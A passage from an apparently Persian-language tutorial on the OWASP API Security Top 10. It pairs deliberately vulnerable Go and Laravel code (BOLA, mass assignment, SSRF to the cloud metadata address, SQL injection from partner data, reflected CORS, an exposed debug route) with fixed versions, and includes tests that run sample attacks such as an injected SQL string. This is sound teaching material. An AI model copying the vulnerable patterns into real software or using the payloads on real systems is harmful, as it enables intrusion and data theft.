	if _, _, err := c.Enrich(context.Background(), up.URL); !errors.Is(err, ErrUpstream) {
		t.Fatalf("oversized body must be rejected, got %v", err)
	}
}

func TestAfterRefusesFirstHopOffAllowList(t *testing.T) {
	evil, got := attacker(t, true)
	plain, gotPlain := attacker(t, false)
	c := NewClient(evil.Client(), []string{"geo-partner.example"}, 2*time.Second)
	for _, endpoint := range []string{evil.URL + "/store", "http://" + host(plain) + "/store"} {
		if err := c.StoreRecord(context.Background(), endpoint, []byte(record)); !errors.Is(err, ErrEndpoint) {
			t.Fatalf("%s: want ErrEndpoint, got %v", endpoint, err)
		}
		if _, _, err := c.Enrich(context.Background(), endpoint); !errors.Is(err, ErrEndpoint) {
			t.Fatalf("%s: want ErrEndpoint from Enrich, got %v", endpoint, err)
		}
	}
	if got.Load()+gotPlain.Load() != 0 {
		t.Fatal("nothing may be sent to a host that is not allow-listed")
	}
}

func TestAfterTimeout(t *testing.T) {
	release := make(chan struct{})
	slow := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		select {
		case <-release:
		case <-r.Context().Done():
		}
	}))
	defer slow.Close()
	defer close(release)
	c := NewClient(slow.Client(), []string{host(slow)}, 100*time.Millisecond)
	start := time.Now()
	if _, _, err := c.Enrich(context.Background(), slow.URL); err == nil || time.Since(start) > 2*time.Second {
		t.Fatalf("want a timeout error quickly, got %v after %v", err, time.Since(start))
	}
}

چهار جفت کوتاه؛ هرکدام یک فایل همراه تست: Re-authentication API2، سقف صفحه و batch در API4، فهرست مجاز URL در API7، و problem details و CORS دقیق در API8:

go
// Package authn is the API2:2023 Broken Authentication pair kept short:
// a sensitive change (the account e-mail) accepted on a bearer token alone,
// versus one that demands a recent re-authentication. Password hashing, MFA
// and sessions are taught in the authentication chapter.
package authn

import (
	"crypto/subtle"
	"errors"
	"time"
)

// Session is what the server knows about the current login.
type Session struct {
	UserID int64
	AuthAt time.Time // last time the user proved a credential
}

// Account is the stored user.
type Account struct {
	ID    int64
	Email string
}

// ErrReauth means "ask for the password (or a passkey/MFA) again".
var ErrReauth = errors.New("authn: re-authentication required")

// ChangeEmailBefore trusts the token: whoever stole it can redirect the
// account's e-mail and then run "forgot password" to take the account.
func ChangeEmailBefore(a *Account, s Session, newEmail string) error {
	a.Email = newEmail
	return nil
}

// Verifier checks a credential; production code compares an Argon2id or
// bcrypt hash, here a constant-time compare stands in.
type Verifier func(userID int64, password string) bool

// StaticVerifier is a test double.
func StaticVerifier(want string) Verifier {
	return func(_ int64, got string) bool { return subtle.ConstantTimeCompare([]byte(got), []byte(want)) == 1 }
}

// ChangeEmail requires the current password, or a login within maxAge.
func ChangeEmail(a *Account, s Session, newEmail, currentPassword string, verify Verifier, now time.Time, maxAge time.Duration) error {
	recent := now.Sub(s.AuthAt) <= maxAge
	if !recent && (currentPassword == "" || !verify(s.UserID, currentPassword)) {
		return ErrReauth
	}
	a.Email = newEmail
	return nil
}
go
// Package resource is the API4:2023 Unrestricted Resource Consumption pair
// kept short: a list endpoint that honours any page size and any body size,
// versus one with server-side caps. Rate-limit algorithms are taught in the
// rate-limiting chapter.
package resource

import (
	"encoding/json"
	"errors"
	"net/http"
	"strconv"
)

// Limits are the per-request ceilings.
const (
	DefaultPage = 20
	MaxPage     = 100
	MaxBody     = 32 << 10 // 32 KiB
	MaxBatch    = 25       // items per batch request
)

// PageSizeBefore trusts ?limit=: limit=10000000 makes the database and the
// encoder do ten million rows of work for one request.
func PageSizeBefore(r *http.Request) int {
	n, _ := strconv.Atoi(r.URL.Query().Get("limit"))
	return n
}

// PageSize clamps the requested size to [1, MaxPage].
func PageSize(r *http.Request) int {
	n, err := strconv.Atoi(r.URL.Query().Get("limit"))
	switch {
	case err != nil || n <= 0:
		return DefaultPage
	case n > MaxPage:
		return MaxPage
	}
	return n
}

// ErrTooMany is returned when a batch exceeds MaxBatch.
var ErrTooMany = errors.New("resource: too many operations in one request")

// DecodeBatch caps the body bytes and the number of operations, the two
// knobs GraphQL batching and bulk endpoints abuse.
func DecodeBatch(w http.ResponseWriter, r *http.Request) ([]json.RawMessage, error) {
	var ops []json.RawMessage
	if err := json.NewDecoder(http.MaxBytesReader(w, r.Body, MaxBody)).Decode(&ops); err != nil {
		return nil, err
	}
	if len(ops) > MaxBatch {
		return nil, ErrTooMany
	}
	return ops, nil
}
go
// Package ssrf is the API7:2023 Server Side Request Forgery pair kept short:
// the URL check only. The connect-time IP check that stops DNS rebinding
// (net.Dialer.Control) is in the OWASP Top 10 chapter's ssrf package.
package ssrf

import (
	"errors"
	"net/netip"
	"net/url"
	"strings"
)

// ErrNotAllowed is returned for any URL outside the allow-list.
var ErrNotAllowed = errors.New("ssrf: destination not allowed")

// CheckBefore accepts anything that parses: localhost:8080, file:///,
// http://169.254.169.254/ and internal service names all pass.
func CheckBefore(raw string) (*url.URL, error) {
	return url.Parse(raw)
}

// Check allows https on port 443 to an allow-listed host only, and refuses
// IP literals and userinfo outright.
func Check(raw string, allowedHosts map[string]bool) (*url.URL, error) {
	u, err := url.Parse(raw)
	if err != nil || u.Scheme != "https" || u.User != nil || u.Opaque != "" {
		return nil, ErrNotAllowed
	}
	host := strings.ToLower(u.Hostname())
	if _, err := netip.ParseAddr(host); err == nil {
		return nil, ErrNotAllowed
	}
	if p := u.Port(); p != "" && p != "443" {
		return nil, ErrNotAllowed
	}
	if !allowedHosts[host] {
		return nil, ErrNotAllowed
	}
	return u, nil
}
go
// Package misconfig is the API8:2023 Security Misconfiguration pair kept
// short: verbose errors and a reflect-any-origin CORS policy, versus RFC 9457
// problem details with a correlation id and an exact origin allow-list.
// Headers, debug mode and hardening are taught in the OWASP Top 10 chapter.
package misconfig

import (
	"crypto/rand"
	"encoding/hex"
	"encoding/json"
	"log/slog"
	"net/http"
)

// ErrorBefore sends the internal error to the client: SQL text, file paths
// and driver versions help the attacker map the stack.
func ErrorBefore(w http.ResponseWriter, err error) {
	http.Error(w, err.Error(), http.StatusInternalServerError)
}

// CORSBefore reflects any Origin and allows credentials: every web page can
// read the logged-in user's API responses.
func CORSBefore(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin"))
		w.Header().Set("Access-Control-Allow-Credentials", "true")
		next.ServeHTTP(w, r)
	})
}

// Problem is an RFC 9457 problem details body.
type Problem struct {
	Type     string `json:"type"`
	Title    string `json:"title"`
	Status   int    `json:"status"`
	Instance string `json:"instance,omitempty"`
}

// Error logs the detail server-side under a correlation id and sends the
// client a generic problem document carrying only that id.
func Error(w http.ResponseWriter, r *http.Request, log *slog.Logger, err error) {
	var b [8]byte
	_, _ = rand.Read(b[:])
	id := hex.EncodeToString(b[:])
	log.Error("internal_error", slog.String("error_id", id), slog.String("path", r.URL.Path), slog.String("err", err.Error()))
	w.Header().Set("Content-Type", "application/problem+json")
	w.WriteHeader(http.StatusInternalServerError)
	_ = json.NewEncoder(w).Encode(Problem{Type: "about:blank", Title: "Internal Server Error", Status: 500, Instance: "urn:error:" + id})
}

// CORS allows exactly the listed origins and says so in Vary.
func CORS(allowed map[string]bool, next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Add("Vary", "Origin")
		if o := r.Header.Get("Origin"); allowed[o] {
			w.Header().Set("Access-Control-Allow-Origin", o)
			w.Header().Set("Access-Control-Allow-Credentials", "true")
		}
		next.ServeHTTP(w, r)
	})
}

نگاه Go ​

  • مسیر، متد را هم حمل می‌کند. یادداشت Go 1.22 می‌گوید "The patterns used by net/http.ServeMux have been enhanced to accept methods and wildcards" و "A pattern with a method takes precedence over a matching pattern without one." ثبت مستقل DELETE /api/users/{id} policy مستقل در جدول مسیر می‌دهد و متد ثبت‌نشده خودکار ۴۰۵ می‌گیرد. گونهٔ «تغییر GET به DELETE» از BFLA به‌کمک همین ساختار بسته می‌شود.
  • principal در context.Context حرکت می‌کند. Middleware احراز هویت یک مقدار نوع‌دار زیر کلید exportنشده ذخیره می‌کند؛ handler با principal.From(ctx) می‌خواند. شناسهٔ فراخواننده را در مسیر، هدر یا فیلد بدنه‌ای که handler به آن اعتماد کند نگذارید. Chi، Echo و Gin همین الگو را با context خود دارند.
  • فریم‌ورک policy ندارید؛ تابع بنویسید. تست واحد CanView(u, o) bool با جدول کاربران × اشیا ساده است. سیستم بزرگ‌تر از همان نقطه موتور بیرونی را صدا می‌زند: OPA با Rego، Cedar، یا OpenFGA/SpiceDB برای بررسی رابطه‌محور. شکل handler تغییر نمی‌کند.
  • encoding/json پیش‌فرض سهل‌گیر است. json.Unmarshal فیلد ناشناخته را نادیده می‌گیرد و کلید را بدون حساسیت به بزرگی حروف تطبیق می‌دهد؛ {"Role":"admin"} به Role مدل bind می‌شود. Decode به DTO ورودی با DisallowUnknownFields، اعتبارسنجی همهٔ فیلدها در مقدارهای محلی و فقط سپس کپی آن‌ها، شکل Goیی $fillable است؛ درخواست ردشده هیچ تغییری نمی‌دهد. برای خروجی، DTO هر مخاطب از tagهای json:"-" مدل بهتر است؛ tagها فهرست ممنوع‌اند.
  • پیش‌فرض کلاینت net/http برای مرورگر است، نه شریک. http.DefaultClient timeout ندارد: "A Timeout of zero means no timeout"؛ تا ۱۰ redirect را دنبال می‌کند و در صورت امکان بدنه را در ۳۰۷/۳۰۸ دوباره می‌فرستد. کلاینت شریک باید http.Client مستقل با Timeout، CheckRedirect و transport با تنظیم TLS داشته باشد؛ بدنه از io.LimitReader می‌گذرد.
  • database/sql مقدار را bind می‌کند. مقدار کاربر و بالادستی هر دو آرگومان $1/? هستند. scope مانند AND tenant_id = $2 در متن SQL است که مالک آن کد است.
  • ثبت لاگ. log/slog با JSON handler رخداد ساخت‌یافتهٔ authz_fail می‌دهد. یادداشت Go 1.21: "The new log/slog package provides structured logging with levels". request id را از context اضافه کنید.

Laravel ​

مثال: Policy، Gate، Form Request، API resource، limiter، چرخهٔ عمر و کلاینت HTTP محافظت‌شده ​

Controller آسیب‌پذیر عمداً طراحی بد دارد؛ هر متد یک ضعف و همه پشت auth:sanctum هستند. فایل مسیر آن حالت قبل API9 است: بدون نسخه‌بندی، کپی zombie در /v1 و مسیر debug سایه:

php
<?php

namespace App\Http\Controllers\Before;

use App\Models\Order;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;

// Bad design on purpose: one controller, one flaw per method, all of them
// behind auth:sanctum. Authentication is fine; authorization is missing.
class ApiController
{
    // API1 BOLA: any logged-in user reads any order by changing the id.
    public function showOrder(string $id)
    {
        return Order::findOrFail($id);
    }

    // API3 BOPLA (excessive data exposure): the whole model goes out,
    // including mfa_secret, role and recent_location; the mobile app
    // "just doesn't show them".
    public function showUser(User $user)
    {
        return response()->json($user->makeVisible(['mfa_secret'])->toArray());
    }

    // API3 BOPLA (mass assignment): forceFill() bypasses #[Fillable], which
    // is exactly what an #[Unguarded] model (or protected $guarded = [])
    // does to update(): {"role":"admin","blocked":false} is written.
    public function updateProfile(Request $request)
    {
        $request->user()->forceFill($request->except(['id', 'password']))->save();

        return response()->noContent();
    }

    // API5 BFLA: the admin export sits next to user routes, protected only by
    // the fact that the admin console is the only screen that calls it.
    public function exportUsers()
    {
        return User::all();
    }

    // API6: correct code, unprotected flow. A script buys the whole drop.
    public function checkout(Request $request)
    {
        DB::table('products')->where('sku', $request->input('sku'))
            ->where('stock', '>=', 1)->decrement('stock');

        return response()->noContent();
    }

    // API10: the provider's answer is trusted, redirects are followed,
    // and the value is spliced into SQL.
    public function enrich(Request $request)
    {
        $business = Http::get('http://geo-partner.example/lookup', [
            'q' => $request->input('address'),
        ])->json();

        DB::insert("INSERT INTO businesses (name) VALUES ('{$business['name']}')");

        return response()->noContent();
    }

    // API2: a stolen token is enough to move the account to a new e-mail.
    public function changeEmail(Request $request)
    {
        $request->user()->forceFill(['email' => $request->input('email')])->save();

        return response()->noContent();
    }

    // API7: the server fetches whatever URL the client names:
    // picture_url=http://169.254.169.254/latest/meta-data/ or localhost:8080.
    public function importAvatar(Request $request)
    {
        $image = Http::get($request->input('picture_url'))->body();
        $request->user()->forceFill(['avatar' => base64_encode($image)])->save();

        return response()->noContent();
    }

    // API8: the exception travels to the client, and any Origin may read it
    // with the user's credentials.
    public function report(Request $request)
    {
        try {
            return DB::select('SELECT * FROM report_v2 WHERE tenant_id = ?', [$request->user()->tenant_id]);
        } catch (\Throwable $e) {
            return response()->json([
                'error' => $e->getMessage(),
                'trace' => $e->getTraceAsString(),
            ], 500)->withHeaders([
                'Access-Control-Allow-Origin' => $request->header('Origin'),
                'Access-Control-Allow-Credentials' => 'true',
            ]);
        }
    }

    // API4: ?per_page=10000000 is honoured.
    public function listOrders(Request $request)
    {
        return $request->user()->orders()->paginate($request->integer('per_page', 20));
    }
}
php
<?php

use App\Http\Controllers\Before\ApiController;
use Illuminate\Support\Facades\Route;

// API9 before: no version prefix, no inventory, and two routes nobody
// remembers. The /v1 copy was "temporary" when v2 shipped; the debug route
// was added during an incident. In the lab app this file is
// routes/before.php, mounted under /api/before in local and testing only
// (bootstrap/app.php), so the feature tests can watch every flaw happen.
Route::middleware('auth:sanctum')->group(function () {
    Route::get('/orders', [ApiController::class, 'listOrders']);
    Route::get('/orders/{id}', [ApiController::class, 'showOrder']);
    Route::get('/v1/users/{user}', [ApiController::class, 'showUser']);   // zombie: old shape, no throttle
    Route::patch('/me', [ApiController::class, 'updateProfile']);
    Route::put('/me/email', [ApiController::class, 'changeEmail']);
    Route::get('/admin/users', [ApiController::class, 'exportUsers']);    // no can:admin
    Route::post('/checkout', [ApiController::class, 'checkout']);
    Route::post('/enrich', [ApiController::class, 'enrich']);
    Route::post('/avatar/import', [ApiController::class, 'importAvatar']);
    Route::get('/report', [ApiController::class, 'report']);
    Route::get('/debug/env', fn () => ['app' => config('app')]);          // shadow: never in the spec
});

تست‌هایی که با دیدن هر نشت در این مسیرها قبول می‌شوند؛ فقط در محیط testing زیر /api/before نصب می‌شوند:

php
<?php

namespace Tests\Feature;

use App\Models\Order;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
use Laravel\Sanctum\Sanctum;
use Tests\TestCase;

// Every test here PASSES BY OBSERVING THE LEAK on the vulnerable routes
// (Before/routes.php, mounted at /api/before in the testing environment).
// ApiSecurityTest runs the same attacks against the fixed routes.
class BeforeLeaksTest extends TestCase
{
    use RefreshDatabase;

    private function orderFor(User $owner): Order
    {
        $order = new Order;
        $order->forceFill(['user_id' => $owner->id, 'tenant_id' => $owner->tenant_id, 'number' => 'B-1', 'status' => 'paid', 'total_cents' => 250000])->save();

        return $order;
    }

    public function test_api1_ana_reads_bobs_order(): void
    {
        $bobsOrder = $this->orderFor(User::factory()->create());
        Sanctum::actingAs(User::factory()->create());

        $this->getJson("/api/before/orders/{$bobsOrder->id}")
            ->assertOk()->assertJsonPath('total_cents', 250000);
    }

    public function test_api3_whole_model_and_mass_assignment(): void
    {
        $sam = User::factory()->create();
        $ana = User::factory()->create();
        Sanctum::actingAs($ana);

        $this->getJson("/api/before/v1/users/{$sam->id}")
            ->assertOk()->assertJsonPath('mfa_secret', 'JBSWY3DPEHPK3PXP')->assertJsonPath('role', 'user');

        $this->patchJson('/api/before/me', ['name' => 'Ana', 'role' => 'admin', 'blocked' => false])->assertNoContent();
        $this->assertSame('admin', $ana->fresh()->role);
    }

    public function test_api5_user_exports_every_account(): void
    {
        User::factory()->count(3)->create();
        Sanctum::actingAs(User::factory()->create());

        $this->getJson('/api/before/admin/users')->assertOk()->assertJsonCount(4);
    }

    public function test_api2_email_changes_on_token_alone(): void
    {
        $ana = User::factory()->create();
        Sanctum::actingAs($ana);

        $this->putJson('/api/before/me/email', ['email' => 'attacker@example.net'])->assertNoContent();
        $this->assertSame('attacker@example.net', $ana->fresh()->email);
    }

    public function test_api4_one_request_returns_every_row(): void
    {
        $ana = User::factory()->create();
        DB::table('orders')->insert(collect(range(1, 500))->map(fn ($i) => [
            'tenant_id' => 7, 'user_id' => $ana->id, 'number' => "A-{$i}", 'status' => 'paid', 'total_cents' => 100,
        ])->all());
        Sanctum::actingAs($ana);

        // 500 rows in one response: the server did all the work the client asked for.
        $this->getJson('/api/before/orders?per_page=100000')
            ->assertOk()->assertJsonCount(500, 'data');
    }

    public function test_api6_one_account_buys_without_limit(): void
    {
        Sanctum::actingAs(User::factory()->create());
        DB::table('products')->insert(['sku' => 'console-x', 'stock' => 10]);

        foreach (range(1, 10) as $i) {
            $this->postJson('/api/before/checkout', ['sku' => 'console-x'])->assertNoContent();
        }
        $this->assertSame(0, DB::table('products')->where('sku', 'console-x')->value('stock'));
    }

    public function test_api7_server_fetches_the_metadata_endpoint(): void
    {
        $ana = User::factory()->create();
        Sanctum::actingAs($ana);
        Http::fake(['169.254.169.254/*' => Http::response('role-credentials')]);

        $this->postJson('/api/before/avatar/import', ['picture_url' => 'http://169.254.169.254/latest/meta-data/'])->assertNoContent();
        $this->assertSame(base64_encode('role-credentials'), $ana->fresh()->avatar);
    }

    public function test_api8_error_and_reflected_cors(): void
    {
        Sanctum::actingAs(User::factory()->create());

        $this->withHeader('Origin', 'https://evil.example')->getJson('/api/before/report')
            ->assertStatus(500)
            ->assertSee('report_v2')
            ->assertHeader('Access-Control-Allow-Origin', 'https://evil.example');
    }

    public function test_api9_shadow_debug_route_is_live(): void
    {
        Sanctum::actingAs(User::factory()->create());
        $this->getJson('/api/before/debug/env')->assertOk()->assertJsonStructure(['app' => ['key']]);
    }

    public function test_api10_partner_text_becomes_sql(): void
    {
        Sanctum::actingAs(User::factory()->create());
        Http::fake(['geo-partner.example/*' => Http::response(['name' => "x'), ('injected"])]);

        $this->postJson('/api/before/enrich', ['address' => '1 Main St'])->assertNoContent();
        // One INSERT intended, two rows written: the partner wrote SQL.
        $this->assertSame(2, DB::table('businesses')->count());
    }
}

API1: رابطه‌های مدل، Policy با پاسخ ۴۰۴ برای شیء بیگانه، و controller با scopeِ tenant و فراخوانی Gate::authorize:

php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;

// No Fillable attribute: orders are created by server code with explicit
// assignments, so every attribute stays guarded (the Eloquent default).
class Order extends Model
{
    public function user(): BelongsTo
    {
        return $this->belongsTo(User::class);
    }
}
php
<?php

namespace App\Policies;

use App\Models\Order;
use App\Models\User;
use Illuminate\Auth\Access\Response;

// Found by policy discovery (App\Models\Order -> App\Policies\OrderPolicy).
// One place answers "may this user act on this order?"; controllers call it,
// they do not re-implement it.
class OrderPolicy
{
    public function view(User $user, Order $order): Response
    {
        if ($order->tenant_id !== $user->tenant_id) {
            return Response::denyAsNotFound();
        }

        return $order->user_id === $user->id || $user->role === 'support'
            ? Response::allow()
            : Response::denyAsNotFound();
    }

    public function update(User $user, Order $order): Response
    {
        // Support may read but not change orders.
        return $order->tenant_id === $user->tenant_id && $order->user_id === $user->id
            ? Response::allow()
            : Response::denyAsNotFound();
    }
}
php
<?php

namespace App\Http\Controllers;

use App\Models\Order;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Gate;

class OrderController
{
    // API1: two layers. The query is scoped to the caller's tenant, so a
    // foreign tenant's row cannot even load; the policy then decides owner
    // vs support and answers 404 for both "missing" and "not yours".
    public function show(Request $request, string $id)
    {
        $order = Order::query()
            ->where('tenant_id', $request->user()->tenant_id)
            ->findOrFail($id);

        Gate::authorize('view', $order);

        return $order->only(['id', 'number', 'status', 'total_cents', 'created_at']);
    }

    // API4: the page size is clamped on the server.
    public function index(Request $request)
    {
        $perPage = min(max($request->integer('per_page', 20), 1), 100);

        return $request->user()->orders()->select(['id', 'number', 'status', 'total_cents'])
            ->orderByDesc('id')->cursorPaginate($perPage);
    }
}

API3: فهرست مجاز نوشتن مدل با #[Fillable]؛ شکل property با $fillable/$guarded در comment است. #[Hidden] پشتوانهٔ خواندن است، Form Request کلیدهای متعلق به سرور را ممنوع می‌کند و JsonResource نقش DTO پاسخ را دارد:

php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Attributes\Fillable;
use Illuminate\Database\Eloquent\Attributes\Hidden;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Laravel\Sanctum\HasApiTokens;

// Write side: the allow-list of properties a request may mass-assign.
// Laravel 12 and older code write the same thing as properties:
//     protected $fillable = ['name', 'email'];
//     protected $guarded = ['role', 'blocked', 'tenant_id'];  // a block-list: avoid
// Read side: #[Hidden] keeps secrets out of toArray()/toJson(), but the
// response DTO (UserResource) is the real allow-list for output.
#[Fillable(['name', 'email'])]
#[Hidden(['password', 'remember_token', 'mfa_secret'])]
class User extends Authenticatable
{
    use HasApiTokens, HasFactory;

    public function orders(): HasMany
    {
        return $this->hasMany(Order::class);
    }

    public function isAdmin(): bool
    {
        return $this->role === 'admin';
    }
}
php
<?php

namespace App\Http\Requests;

use Illuminate\Foundation\Http\FormRequest;

// API3 write side: the Form Request is the input DTO. Only the keys in
// rules() survive $request->validated(); server-owned keys are rejected
// loudly with 422 instead of being silently dropped.
class UpdateProfileRequest extends FormRequest
{
    public function authorize(): bool
    {
        // The route is /me: the subject is always the caller.
        return $this->user() !== null;
    }

    public function rules(): array
    {
        return [
            'name' => ['sometimes', 'string', 'max:100'],
            'role' => ['prohibited'],
            'blocked' => ['prohibited'],
            'tenant_id' => ['prohibited'],
        ];
    }
}
php
<?php

namespace App\Http\Resources;

use Illuminate\Http\Request;
use Illuminate\Http\Resources\Json\JsonResource;

// API3 read side: the response DTO. Properties are listed one by one, so a
// new column is private until someone decides to publish it here.
class UserResource extends JsonResource
{
    public function toArray(Request $request): array
    {
        $self = $request->user()?->id === $this->id;

        return [
            'id' => $this->id,
            'name' => $this->name,
            'email' => $this->when($self, $this->email),
            'role' => $this->when($self || $request->user()?->isAdmin(), $this->role),
        ];
    }
}
php
<?php

namespace App\Http\Controllers;

use App\Http\Requests\ChangeEmailRequest;
use App\Http\Requests\UpdateProfileRequest;
use App\Http\Resources\UserResource;
use App\Models\User;
use App\Services\RemoteImageFetcher;
use Illuminate\Http\Request;

class ProfileController
{
    // Profiles are visible inside the caller's tenant only (API1), and the
    // resource decides which properties (API3).
    public function show(Request $request, string $id)
    {
        $user = User::query()
            ->where('tenant_id', $request->user()->tenant_id)
            ->findOrFail($id);

        return new UserResource($user);
    }

    public function update(UpdateProfileRequest $request)
    {
        // validated() holds only the keys in rules(); #[Fillable] is the
        // second fence if someone later passes the wrong array.
        $request->user()->update($request->safe()->only(['name']));

        return response()->noContent();
    }

    public function changeEmail(ChangeEmailRequest $request)
    {
        $user = $request->user();
        $user->email = $request->validated('email');
        $user->email_verified_at = null;
        $user->save();
        // Revoke other tokens so a thief's copy stops working.
        $user->tokens()->where('id', '!=', $user->currentAccessToken()->id)->delete();

        return response()->noContent();
    }

    // API7: the URL goes through the allow-list fetcher; a refused URL is 422.
    public function importAvatar(Request $request, RemoteImageFetcher $fetcher)
    {
        $data = $request->validate(['picture_url' => ['required', 'url:https', 'max:2048']]);
        try {
            $image = $fetcher->fetch($data['picture_url']);
        } catch (\InvalidArgumentException) {
            return response()->json(['message' => 'This image URL is not allowed.'], 422);
        }
        $request->user()->forceFill(['avatar' => base64_encode($image)])->save();

        return response()->noContent();
    }

    public function me(Request $request)
    {
        return new UserResource($request->user());
    }
}

API2: تغییر ایمیل به current_password نیاز دارد:

php
<?php

namespace App\Http\Requests;

use Illuminate\Foundation\Http\FormRequest;

// API2: a sensitive change needs the current password, not just a token.
class ChangeEmailRequest extends FormRequest
{
    public function authorize(): bool
    {
        return $this->user() !== null;
    }

    public function rules(): array
    {
        return [
            'email' => ['required', 'email', 'max:254', 'unique:users,email'],
            'current_password' => ['required', 'current_password:sanctum'],
        ];
    }
}

API5: controller مدیریتی با attributeِ #[Middleware] در Laravel 13 دوباره بررسی می‌کند:

php
<?php

namespace App\Http\Controllers\Admin;

use App\Http\Resources\UserResource;
use App\Models\User;
use Illuminate\Routing\Attributes\Controllers\Middleware;

// API5: the admin function carries its own check (Laravel 13 controller
// attribute), in addition to the can:admin group in routes/api.php. If the
// route is ever moved out of the admin group, the check moves with it.
#[Middleware('can:admin')]
class UserExportController
{
    public function __invoke()
    {
        return UserResource::collection(User::query()->orderBy('id')->cursorPaginate(100));
    }
}

API6: سقف کاربر و دستگاه، بررسی زمان غیرانسانی و کاهش اتمی موجودی:

php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use RuntimeException;

// API6: the business rule written down. The throttle:checkout limiter
// (AppServiceProvider) caps attempts per user and per product; this
// controller caps units per user and per device for the drop, and refuses
// requests that look automated.
//
// Why not "count purchases, then insert"? Two concurrent requests both read
// count = 1 (below the cap of 2), both insert, and the user ends with 3:
// a plain SELECT takes no lock, and SELECT count(*) ... FOR UPDATE is
// rejected by PostgreSQL for aggregates. Instead each cap is a counter row
// changed by ONE conditional UPDATE ("... WHERE count < cap"): the database
// row-locks it, the second writer re-evaluates the condition after the
// first commits, and 0 affected rows means "cap reached". Stock uses the
// same pattern. All three run in one transaction, so a refusal rolls back
// the counters that were already taken.
class CheckoutController
{
    private const MAX_PER_USER = 2;
    private const MAX_PER_DEVICE = 2;
    private const MIN_SECONDS_IN_CART = 1;

    public function __invoke(Request $request)
    {
        $data = $request->validate([
            'sku' => ['required', 'string', 'max:64'],
            'device_id' => ['required', 'string', 'max:128'],
        ]);
        $user = $request->user();

        $cartItem = DB::table('cart_items')
            ->where('user_id', $user->id)->where('sku', $data['sku'])->first();
        if ($cartItem === null || now()->diffInSeconds($cartItem->created_at, true) < self::MIN_SECONDS_IN_CART) {
            // Non-human pattern: add-to-cart and checkout within a second.
            return response()->json(['challenge' => 'captcha'], 428);
        }

        try {
            DB::transaction(function () use ($data, $user) {
                $this->takeOne($data['sku'], 'user', (string) $user->id, self::MAX_PER_USER, 'limit');
                $this->takeOne($data['sku'], 'device', $data['device_id'], self::MAX_PER_DEVICE, 'limit');

                $taken = DB::table('products')->where('sku', $data['sku'])
                    ->where('stock', '>=', 1)->decrement('stock');
                if ($taken === 0) {
                    throw new RuntimeException('sold_out');
                }

                DB::table('purchases')->insert([
                    'user_id' => $user->id,
                    'sku' => $data['sku'],
                    'device_id' => $data['device_id'],
                    'created_at' => now(),
                ]);
            });
        } catch (RuntimeException $e) {
            return $e->getMessage() === 'sold_out'
                ? response()->json(['message' => 'Sold out.'], 409)
                : response()->json(['message' => 'Limit reached for this item.'], 429);
        }

        return response()->noContent();
    }

    // Atomic "increment if below cap": the row exists after insertOrIgnore,
    // and the conditional increment is a single UPDATE statement.
    private function takeOne(string $sku, string $scope, string $key, int $cap, string $reason): void
    {
        DB::table('purchase_caps')->insertOrIgnore(['sku' => $sku, 'scope' => $scope, 'key' => $key, 'count' => 0]);

        $affected = DB::table('purchase_caps')
            ->where(['sku' => $sku, 'scope' => $scope, 'key' => $key])
            ->where('count', '<', $cap)
            ->increment('count');

        if ($affected === 0) {
            throw new RuntimeException($reason);
        }
    }
}

Service provider: تعریف Gate با نام admin، تبدیل هر رد به لاگ authz_fail با Gate::after، سقف کاربر و منبع، preventSilentlyDiscardingAttributes و خاموش‌کردن redirectِ HTTP خروجی:

php
<?php

namespace App\Providers;

use App\Models\User;
use Illuminate\Auth\Access\Response;
use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Support\ServiceProvider;

class AppServiceProvider extends ServiceProvider
{
    public function boot(): void
    {
        // API5: one named ability for every admin function.
        Gate::define('admin', fn (User $user) => $user->isAdmin());

        // Logging and alerting for authorization failures: every denied
        // gate or policy check becomes an authz_fail event (OWASP logging
        // vocabulary). Alert on the rate per user, not on single events.
        Gate::after(function (User $user, string $ability, mixed $result, mixed $arguments) {
            $denied = $result === false || ($result instanceof Response && $result->denied());
            if ($denied) {
                $subject = $arguments[0] ?? null;
                Log::warning('authz_fail', [
                    'user_id' => $user->id,
                    'ability' => $ability,
                    'resource' => is_object($subject) ? $subject::class : $subject,
                    'object_id' => $subject instanceof Model ? $subject->getKey() : null,
                ]);
            }
        });

        // API4 and API6: rate limits per user and per resource.
        RateLimiter::for('api', function (Request $request) {
            return Limit::perMinute(120)->by($request->user()?->id ?: $request->ip());
        });
        RateLimiter::for('checkout', function (Request $request) {
            return [
                Limit::perMinute(5)->by('user:'.$request->user()?->id),
                Limit::perMinute(300)->by('sku:'.$request->input('sku')),
            ];
        });

        // API3 in development: fail loudly when code mass-assigns a
        // property that is not in #[Fillable].
        Model::preventSilentlyDiscardingAttributes($this->app->isLocal());

        // API10: no outgoing call follows redirects unless it opts in.
        Http::globalOptions(['allow_redirects' => false]);
    }
}

API9 و API8: middleware چرخهٔ عمر با Deprecation، Sunset، Link جانشین و ۴۱۰ پس از sunset؛ فایل bootstrap/app.php با alias آن و closure رندر problem details؛ فایل مسیر نسخه‌دار:

php
<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Carbon;
use Symfony\Component\HttpFoundation\Response;

// API9: versioning and deprecation as code. Routes of a deprecated version
// carry Deprecation (RFC 9745) and Sunset (RFC 8594) headers and a link to
// the successor; after the sunset date the version answers 410 Gone instead
// of living on as a zombie API.
class ApiLifecycle
{
